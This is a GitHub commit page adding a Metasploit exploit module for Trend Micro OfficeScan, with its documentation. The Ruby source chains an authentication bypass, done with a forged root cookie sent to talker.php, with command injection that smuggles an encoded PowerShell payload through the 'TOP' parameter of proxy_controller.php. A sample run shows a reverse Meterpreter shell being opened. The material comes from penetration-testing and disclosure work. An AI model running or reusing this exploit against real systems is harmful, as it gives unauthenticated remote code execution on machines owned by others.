Skip to content

Commit 850aeda

Browse files
committed
land rapid7#9052 RCE of Trend Micro OfficeScan
2 parents a3d47ea + b796c0b commit 850aeda

File tree

2 files changed

+276
-0
lines changed

2 files changed

+276
-0
lines changed
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
## Vulnerable Application
2+
3+
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user.
4+
5+
The Trend Micro OfficeScan product has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user.
6+
7+
**Vulnerable Application Installation Steps**
8+
9+
1. Open following URL [http://downloadcenter.trendmicro.com/](http://downloadcenter.trendmicro.com/)
10+
2. Find "OfficeScan" and click.
11+
3. At the time of writing this documentation, you must see "osce-xg-win-en-gm-b1315.exe" next to Download button.
12+
4. Click to the download button and complete installation of ISO.
13+
5. Install the downloaded file on Windows operating system. (Tested with Windows 7)
14+
15+
If you don't see an affected version of OfficeScan, you can try to download it directly from following URL.
16+
17+
[http://download.trendmicro.com/products/officescan/XG/osce_xg_win_en_gm_b1315.exe](http://download.trendmicro.com/products/officescan/XG/osce_xg_win_en_gm_b1315.exe)
18+
19+
## Verification Steps
20+
21+
A successful check of the exploit will look like this:
22+
23+
- [ ] Start `msfconsole`
24+
- [ ] `use exploit/windows/http/trendmicro_officescan_widget_exec`
25+
- [ ] Set `RHOST`
26+
- [ ] Set `LHOST`
27+
- [ ] Run `check`
28+
- [ ] **Verify** that you are seeing `The target is vulnerable.`
29+
- [ ] Run `exploit`
30+
- [ ] **Verify** that you are seeing `Authenticated successfully bypassed` value.
31+
- [ ] **Verify** that you are getting `meterpreter` session.
32+
33+
## Scenarios
34+
35+
### Trend Micro OfficeScan 11 on Win7
36+
37+
```
38+
msf exploit(trendmicro_officescan_widget_exec) > exploit
39+
40+
[*] Started reverse TCP handler on 12.0.0.1:4444
41+
[*] Auto detection enabled. Trying to detect target system version.
42+
[*] Target system selected : OfficeScan 11
43+
[*] Exploiting authentication bypass
44+
[+] Authenticated successfully bypassed.
45+
[*] Generating payload
46+
[*] Trigerring command injection vulnerability
47+
[*] Sending stage (179267 bytes) to 12.0.0.176
48+
[*] Meterpreter session 9 opened (12.0.0.1:4444 -> 12.0.0.176:49842) at 2017-10-09 21:57:29 +0300
49+
50+
meterpreter > sysinfo
51+
Computer : CME
52+
OS : Windows 7 (Build 7601, Service Pack 1).
53+
Architecture : x86
54+
System Language : tr_TR
55+
Domain : WORKGROUP
56+
Logged On Users : 1
57+
Meterpreter : x86/windows
58+
meterpreter >
59+
60+
```
Lines changed: 216 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,216 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Powershell
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => "Trend Micro OfficeScan Remote Code Execution",
15+
'Description' => %q{
16+
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
17+
terminal command under the context of the web server user.
18+
19+
The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product
20+
has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which
21+
leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process
22+
does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
23+
unauthenticated users can execute a terminal command under the context of the web server user.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'mr_me <[email protected]>', # author of command injection
29+
'Mehmet Ince <[email protected]>' # author of authentication bypass & msf module
30+
],
31+
'References' =>
32+
[
33+
['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],
34+
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],
35+
],
36+
'DefaultOptions' =>
37+
{
38+
'SSL' => true,
39+
'RPORT' => 443
40+
},
41+
'Platform' => ['win'],
42+
'Arch' => [ ARCH_X86, ARCH_X64 ],
43+
'Targets' =>
44+
[
45+
['Automatic Targeting', { 'auto' => true }],
46+
['OfficeScan 11', {}],
47+
['OfficeScan XG', {}],
48+
],
49+
'Privileged' => false,
50+
'DisclosureDate' => "Oct 7 2017",
51+
'DefaultTarget' => 0
52+
))
53+
54+
register_options(
55+
[
56+
OptString.new('TARGETURI', [true, 'The URI of the Trend Micro OfficeScan management interface', '/'])
57+
]
58+
)
59+
end
60+
61+
def build_csrftoken(my_target, phpsessid=nil)
62+
vprint_status("Building csrftoken")
63+
if my_target.name == 'OfficeScan XG'
64+
csrf_token = Rex::Text.md5(Time.now.to_s)
65+
else
66+
csrf_token = phpsessid.scan(/PHPSESSID=([a-zA-Z0-9]+)/).flatten[0]
67+
end
68+
csrf_token
69+
end
70+
71+
def auto_target
72+
#XG version of the widget library has package.json within the same directory.
73+
mytarget = target
74+
if target['auto'] && target.name =~ /Automatic/
75+
print_status('Automatic targeting enabled. Trying to detect version.')
76+
res = send_request_cgi({
77+
'method' => 'GET',
78+
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'package.json'),
79+
})
80+
81+
if res && res.code == 200
82+
mytarget = targets[2]
83+
elsif res && res.code == 404
84+
mytarget = targets[1]
85+
else
86+
fail_with(Failure::Unknown, 'Unable to automatically select a target')
87+
end
88+
print_status("Selected target system : #{mytarget.name}")
89+
end
90+
mytarget
91+
end
92+
93+
def auth(my_target)
94+
# Version XG performs MD5 validation on wf_CSRF_token parameter. We can't simply use PHPSESSID directly because it contains a-zA-Z0-9.
95+
# Beside that, version 11 use PHPSESSID value as a csrf token. Thus, we are manually crafting the cookie.
96+
if my_target.name == 'OfficeScan XG'
97+
csrf_token = build_csrftoken(my_target)
98+
cookie = "LANG=en_US; LogonUser=root; userID=1; wf_CSRF_token=#{csrf_token}"
99+
# Version 11 want to see valid PHPSESSID from beginning to the end. For this reason we need to force backend to initiate one for us.
100+
else
101+
vprint_status("Sending session initiation request for : #{my_target.name}.")
102+
res = send_request_cgi({
103+
'method' => 'GET',
104+
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'index.php'),
105+
})
106+
cookie = "LANG=en_US; LogonUser=root; userID=1; #{res.get_cookies}"
107+
csrf_token = build_csrftoken(my_target, res.get_cookies)
108+
end
109+
110+
# Okay, we dynamically generated a cookie and csrf_token values depends on OfficeScan version.
111+
# Now we need to exploit authentication bypass vulnerability.
112+
res = send_request_cgi({
113+
'method' => 'POST',
114+
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'ui', 'modLogin', 'talker.php'),
115+
'headers' => {
116+
'X-CSRFToken' => csrf_token,
117+
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
118+
},
119+
'cookie' => cookie,
120+
'vars_post' => {
121+
'cid' => '1',
122+
'act' => 'check',
123+
'hash' => Rex::Text.rand_text_alpha(10),
124+
'pid' => '1'
125+
}
126+
})
127+
128+
if res && res.code == 200 && res.body.include?('login successfully')
129+
# Another business logic in here.
130+
# Version 11 want to use same PHPSESSID generated at the beginning by hitting index.php
131+
# Version XG want to use newly created PHPSESSID that comes from auth bypass response.
132+
if my_target.name == 'OfficeScan XG'
133+
res.get_cookies
134+
else
135+
cookie
136+
end
137+
else
138+
nil
139+
end
140+
end
141+
142+
def check
143+
my_target = auto_target
144+
token = auth(my_target)
145+
# If we dont have a cookie that means authentication bypass issue has been patched on target system.
146+
if token.nil?
147+
Exploit::CheckCode::Safe
148+
else
149+
# Authentication bypass does not mean that we have a command injection.
150+
# Accessing to the widget framework without having command injection means literally nothing.
151+
# So we gonna trigger command injection vulnerability without a payload.
152+
csrf_token = build_csrftoken(my_target, token)
153+
vprint_status('Trying to detect command injection vulnerability')
154+
res = send_request_cgi({
155+
'method' => 'POST',
156+
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'),
157+
'headers' => {
158+
'X-CSRFToken' => csrf_token,
159+
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
160+
},
161+
'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{token}",
162+
'vars_post' => {
163+
'module' => 'modTMCSS',
164+
'serverid' => '1',
165+
'TOP' => ''
166+
}
167+
})
168+
if res && res.code == 200 && res.body.include?('Proxy execution failed: exec report.php failed')
169+
Exploit::CheckCode::Vulnerable
170+
else
171+
Exploit::CheckCode::Safe
172+
end
173+
end
174+
end
175+
176+
def exploit
177+
mytarget = auto_target
178+
print_status('Exploiting authentication bypass')
179+
cookie = auth(mytarget)
180+
if cookie.nil?
181+
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
182+
else
183+
print_good("Authenticated successfully bypassed.")
184+
end
185+
186+
print_status('Generating payload')
187+
188+
powershell_options = {
189+
encode_final_payload: true,
190+
remove_comspec: true
191+
}
192+
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
193+
194+
195+
# We need to craft csrf value for version 11 again like we did before at auth function.
196+
csrf_token = build_csrftoken(mytarget, cookie)
197+
198+
print_status('Trigerring command injection vulnerability')
199+
200+
send_request_cgi({
201+
'method' => 'POST',
202+
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'),
203+
'headers' => {
204+
'X-CSRFToken' => csrf_token,
205+
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
206+
},
207+
'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{cookie}",
208+
'vars_post' => {
209+
'module' => 'modTMCSS',
210+
'serverid' => '1',
211+
'TOP' => "2>&1||#{p}"
212+
}
213+
})
214+
215+
end
216+
end

0 commit comments

Comments
 (0)